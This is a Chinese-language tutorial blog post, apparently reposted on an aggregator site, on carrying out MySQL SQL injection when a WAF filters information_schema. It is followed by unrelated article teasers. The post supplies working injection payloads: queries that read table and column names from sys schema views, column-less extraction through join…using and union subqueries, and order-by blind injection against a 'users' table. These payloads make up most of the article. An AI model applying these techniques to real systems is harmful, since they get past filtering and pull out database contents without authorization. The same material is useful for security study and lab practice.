sql注入中information_schema被過濾的問題

目錄

一、information_schema庫的作用

二、獲得表名

2.1 sys.schema_auto_increment_columns

2.2 schema_table_statistics

三、獲得列名

join … using …

order by盲注

子查詢


在進行sql注入時,我們經常會使用information_schema來進行爆數據庫名、表名、字段名,但是當waf禁用掉這個庫時,我們應該如何爆出數據呢?這個時候我們可能會思考有沒有可以替代它的庫呢?

一、information_schema庫的作用

那么想要找到替代它的庫,我們首先要知道information_schema庫的作用是什么?

????????它是一個系統數據庫,存儲了MySQL服務器中所有其他數據庫的元數據信息。提供對數據庫、表、列、索引等元數據的訪問,幫助我們了解數據庫結構。很幸運在mysql?5.7以后新增了schema_auto_increment_columns這個視圖去保存所有表中含有自增字段的信息。不僅保存了庫名、表名還保存了自增字段的列名

二、獲得表名

?2.1 sys.schema_auto_increment_columns

?當我們利用database()函數獲得數據庫名之后,可以利用這個視圖去獲得表名和列名

select table_name,column_name from sys.schema_auto_increment_columns where table_schema = "security";

2.2 schema_table_statistics

而對于沒有自增列的表名,這個視圖是無法獲取的。這個時候我們可以通過統計信息視圖獲得表名

schema_table_statistics_with_buffer
schema_table_statistics

select table_name from sys.schema_table_statistics_with_buffer where table_schema = "security";
select table_name from sys.schema_table_statistics where table_schema = "security";

三、獲得列名

對于schema_auto_increment_columns獲得了表名,那么列名呢?這里我們就需要用到無列名注入

join … using …

select * from users where id='0' union all select * from (select * from users as a join users as b)as c;
select * from users where id='0' union all select * from (select * from users as a join users as b using(id,username,password))as c;

order by盲注

order by用于根據指定的列對結果集進行排序。一般上是從0-9、a-z排序,不區分大小寫。

order by盲注為何可以用于無列名注入呢?看個例子。

 select * from users where id='1' union select 1,2,'c' order by 3;
select * from users where id='1' union select 1,2,'d' order by 3; select * from users where id='1' union select 1,2,'e' order by 3; 

比如當我們需要猜解第三列的內容時,使用order by實例如下:

當猜測的值大于當前值時,會返回原來的數據即這里看第二列返回是否正常的username,否則會返回猜測的值。

子查詢

子查詢也能用于無列名注入,主要是結合union select聯合查詢構造列名再放到子查詢中實現。

使用如下union聯合查詢,可以給當前整個查詢的列分別賦予1、2、3的名字:

select 1,2,3 union select * from users; 

接著使用子查詢就能指定查詢剛剛賦予的列名對應的列內容了:

select `3` from (select 1,2,3 union select * from users);  

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/71352.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/71352.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/71352.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Jenkins 給任務分配 節點(Node)、設置工作空間目錄

Jenkins 給任務分配 節點(Node)、設置工作空間目錄 創建 Freestyle project 類型 任務 任務配置 Node 打開任務-> Configure-> General 勾選 Restrict where this project can be run Label Expression 填寫一個 Node 的 Label,輸入有效的 Label名字&#x…

Electron:使用electron-react-boilerplate創建一個react + electron的項目

使用 electron-react-boilerplate git clone --depth 1 --branch main https://github.com/electron-react-boilerplate/electron-react-boilerplate.git your-project-name cd your-project-name npm install npm start 安裝不成功 在根目錄加上 .npmrc文件 內容為 electron_…

數控機床設備分布式健康監測與智能維護系統MTAgent

數控機床設備分布式健康監測與智能維護系統MTAgent-v1.1融合了目前各種先進的信號處理以及信息分析算法以算法工具箱的方式,采用了一種開發的、模塊化的結構實現信號各種分析處理,采用Python編程語言,滿足不同平臺需求(包括Windows、Linux)。…

FPGA VIVADO:axi-lite 從機和主機

FPGA VIVADO:axi-lite 從機和主機 TOC在這里插入代碼片 前言 協議就不詳細講解了,直接看手冊即可。下面主要如何寫代碼和關鍵的時序。 此外下面的代碼可以直接用于實際工程 一、AXI-LITE 主機 數據轉axi lite接口: 讀/寫數據FIFO緩存 仲裁&#xff1a…

1. 對比 LVS 負載均衡群集的 NAT 模式和 DR 模式,比較其各自的優勢 。2. 基于 openEuler 構建 LVS-DR 群集。

DR 模式 * 負載各節點服務器通過本地網絡連接,不需要建立專用的IP隧道 原理:首先負載均衡器接收到客戶的請求數據包時,根據調度算法決定將請求發送給哪個后端的真實服務器(RS)。然后負載均衡器就把客戶端發送的請求數…

ollama server啟動服務后如何停止

要停止 Ollama 服務器服務,取決于如何啟動該服務的。以下是幾種常見的啟動方法和相應的停止服務的步驟: 1. 直接在命令行中啟動 如果是在命令行中直接啟動 Ollama 服務器的,例如使用以下命令: ollama serve 可以通過以下方式停…

【設計模式】03-理解常見設計模式-行為型模式(專欄完結)

前言 前面我們介紹完創建型模式和創建型模式,這篇介紹最后的行為型模式,也是【設計模式】專欄的最后一篇。 一、概述 行為型模式主要用于處理對象之間的交互和職責分配,以實現更靈活的行為和更好的協作。 二、常見的行為型模式 1、觀察者模…

mapbox基礎,使用geojson加載line線圖層,實現純色填充、圖片填充、虛線和漸變效果

????? 主頁: gis分享者 ????? 感謝各位大佬 點贊?? 收藏? 留言?? 加關注?! ????? 收錄于專欄:mapbox 從入門到精通 文章目錄 一、??前言1.1 ??mapboxgl.Map 地圖對象1.2 ??mapboxgl.Map style屬性1.3 ??line線圖層樣式二、??使用geojson加載…

深入淺出:CUDA是什么,如何利用它進行高效并行計算

在當今這個數據驅動的時代,計算能力的需求日益增加,特別是在深度學習、科學計算和圖像處理等領域。為了滿足這些需求,NVIDIA推出了CUDA(Compute Unified Device Architecture),這是一種并行計算平臺和編程模…

LNMP+Zabbix安裝部署(Zabbix6.0 Lnmp+Zabbix Installation and Deployment)

LNMPZabbix安裝部署(Zabbix6.0) 簡介 LNMP(Linux Nginx MySQL PHP)是一種流行的Web服務器架構,廣泛用于搭建高性能的網站和應用程序。Zabbix 是一個開源的監控軟件,可以用來監控網絡、服務器和應用程序…

Docker 部署 Dify:輕松集成 Ollama 和 DeepSeek

1 Ollama的安裝及使用 1.1 什么是Ollama? Ollama 是一個用于本地部署和運行大型語言模型的框架。 Ollama 的作用包括: 本地模型運行:Ollama 允許在本地機器上運行大型語言模型(如 LLaMA、DeepSeek 等),無…

C++筆記之標準庫中用于處理迭代器的`std::advance`和`std::distance`

C++筆記之標準庫中用于處理迭代器的std::advance和std::distance code review! 文章目錄 C++筆記之標準庫中用于處理迭代器的`std::advance`和`std::distance`一.`std::advance`函數原型參數說明使用場景示例代碼示例 1:移動 `std::vector` 的隨機訪問迭代器示例 2:移動 `st…

工業制造能耗管理新突破,漫途MTIC-ECM平臺助力企業綠色轉型!

在工業制造領域,能源消耗一直是企業運營成本的重要組成部分。隨著“雙碳”目標的推進,如何實現高效能耗管理,成為制造企業亟待解決的問題。漫途MTIC-ECM能源能耗在線監測平臺,結合其自研的硬件產品,為工業制造企業提供…

C語言——深入理解指針(2)(數組與指針)

文章目錄 數組名的理解使用指針訪問數組一維數組傳參的本質冒泡排序二級指針指針數組指針數組模擬二維數組 數組名的理解 之前我們在使用指針訪問數組內容時,有這樣的代碼: int arr[10]{1,2,3,4,5,6,7,8,9,10}; int* p&arr[0];這里我們使用&ar…

在Windows系統中安裝Open WebUI并連接Ollama

Open WebUI是一個開源的大語言模型(LLM)交互界面,支持本地部署與離線運行。通過它,用戶可以在類似ChatGPT的網頁界面中,直接操作本地運行的Ollama等大語言模型工具。 安裝前的核心要求: Python 3.11&#…

Day4:強化學習之Qlearning走迷宮

一、迷宮游戲 1.環境已知 迷宮環境是定義好的,障礙物位置和空位置是已知的; # 定義迷宮 grid [[0, 0, 0, 1, 0],[0, 1, 0, 1, 0],[0, 1, 0, 0, 0],[0, 0, 0, 1, 0],[0, 1, 1, 1, 0] ] 2.獎勵方式已知 如果碰到障礙物則得-1,如果到終點則…

家里WiFi信號穿墻后信號太差怎么處理?

一、首先在調制解調器(俗稱:貓)測試網速,網速達不到聯系運營商; 二、網線影響不大,5類網線跑500M完全沒問題; 三、可以在臥室增加輔助路由器(例如小米AX系列)90~200元區…

視點開場動畫實現(九)

這個相對比較簡單: void COSGObject::FlyTo(double lon, double lat, double hei) {theApp.bNeedModify TRUE;while(!theApp.bCanModify)Sleep(1);em->setViewpoint(osgEarth::Viewpoint("0",lon, lat, 0, 0, -45, hei), 2);theApp.bNeedModify FAL…

保姆級GitHub大文件(100mb-2gb)上傳教程

GLF(Git Large File Storage)安裝使用 使用GitHub desktop上傳大于100mb的文件時報錯 The following files are over 100MB. lf you commit these files, you will no longer beable to push this repository to GitHub.com.term.rarWe recommend you a…

HTML之JavaScript DOM(document)編程處理事件

HTML之JavaScript DOM&#xff08;document&#xff09;編程處理事件 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"…